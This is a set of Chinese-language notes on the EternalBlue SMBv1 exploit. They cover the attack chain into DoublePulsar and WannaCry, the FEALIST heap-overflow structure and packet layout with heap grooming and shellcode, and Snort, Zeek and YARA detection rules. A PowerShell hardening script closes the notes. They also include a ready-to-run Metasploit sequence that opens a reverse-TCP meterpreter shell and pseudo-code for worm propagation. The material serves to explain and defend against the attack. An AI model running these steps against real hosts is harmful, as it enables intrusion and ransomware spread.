[攻击者] 
   │
   ├──▶ 发送精心构造的 SMBv1 **Trans2** 请求
   │       → 触发 `srv!SrvOS2FeaListSizeToNt` 中的 **堆溢出**
   │
   ├──▶ 覆盖函数指针 → **内核 shellcode**
   │
   └──▶ 执行 **DoublePulsar** 后门 → **Ring-0 载荷**
           （例如 WannaCry 的 `mssecsvc.exe`）

SMB_COM_NEGOTIATE → 客户端发送方言列表
服务器响应：SMBv1 支持 → 继续

\\TARGET\IPC$ → SMB 管道的匿名共享

FEALIST {
    SizeOfListInBytes = 0xFFFF（或大值）
    ...
}

FEA {
    AttributeNameLength = 0x00
    AttributeName = "A" * 0x1000  → 溢出缓冲区
}

srv!SrvOS2FeaListSizeToNt(
    PFEALIST FeaList,      // 攻击者控制
    PULONG pNtFeaListSize  // 输出指针
)
{
    // 未验证 FeaList->SizeOfListInBytes
    memcpy(dest, src, FeaList->SizeOfListInBytes);  // 崩溃
}

EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → 加密文件

SMB 头部
└── 命令：0x32 (TRANSACTION2)
    └── 设置：0x000E (SESSION_SETUP)
        └── 参数：TotalDataCount = 0x1000
            └── 数据： 
                [FEALIST]
                  SizeOfListInBytes = 0x1100
                  [FEA #1] NameLen=0, Name="A"*0x1000
                  [FEA #2] ...
                [GROOM x100] → 喷射堆
                [OVERFLOW] → 覆盖池
                [SHELLCODE] → x64 ring0

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit

alert tcp any any -> $HOME_NET 445 (
    msg:"ETERNALBLUE 尝试";
    flow:to_server,established;
    content:"|ff|SMB2"; depth:5;
    content:"|00 04 08 00|"; distance:100; within:4;
    classtype:attempted-admin;
    sid:1000001;
)

event smb1_transaction2_secondary(c: connection, hdr: SMB1::Header, args: SMB1::Trans2_Secondary_Args) {
    if (args$data_len > 4096) {
        NOTICE([$note=SMB::Large_Trans2_Data, $conn=c]);
    }
}

while (true) {
    扫描网络中的 445 端口
    if (开放) → EternalBlue 利用
    if (成功) → 投放 mssecsvc.exe + 传播
    Sleep(随机(1000, 5000))
}

SMB 数据包 → 缓冲区溢出 → 内核 Shellcode → DoublePulsar → 恶意软件

rule WannaCry_Ransomware {
    strings:
        $mz = { 4d 5a }
        $s1 = "WannaDecryptor" wide
        $s2 = "tasksche.exe"
        $s3 = "@WANA" ascii
        $encrypt = { 57 61 6E 61 43 72 79 70 74 30 72 }
    condition:
        $mz at 0 and 2 of ($s*)
}

rule NotPetya_Wiper {
    strings:
        $pdb = "perfc.dat" nocase
        $dll = "dllhost.dat"
        $mof = "ntdevmgr.vbs"
        $mimikatz = "mimikatz"
    condition:
        uint16(0) == 0x5A4D and 2 of them
}

rule EternalBlue_SMB_Exploit {
    strings:
        $smb_negotiate = { 00 00 00 ?? ff 53 4d 42 72 00 }
        $tree_connect = { 00 00 00 ?? ff 53 4d 42 75 00 }
        $trans2 = { 00 00 00 ?? ff 53 4d 42 32 00 }
        $overflow = { 00 04 08 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? }
    condition:
        all of them
}

# === ETERNALBLUE 加固脚本 ===
Write-Host "正在应用 EternalBlue 缓解措施..." -ForegroundColor Cyan

# 1. 禁用 SMBv1
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart

# 2. 封锁 445 端口
New-NetFirewallRule -DisplayName "Block SMB Inbound" -Direction Inbound -Action Block -Protocol TCP -LocalPort 445

# 3. 启用 SMB 签名
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" -Name "RequireSecuritySignature" -Value 1

# 4. 检查补丁
$patch = Get-HotFix -Id KB4012212 -ErrorAction SilentlyContinue
if ($patch) { Write-Host "已打补丁！" -ForegroundColor Green } else { Write-Host "未打补丁！" -ForegroundColor Red }

Write-Host "需要重新启动。请以管理员身份运行。"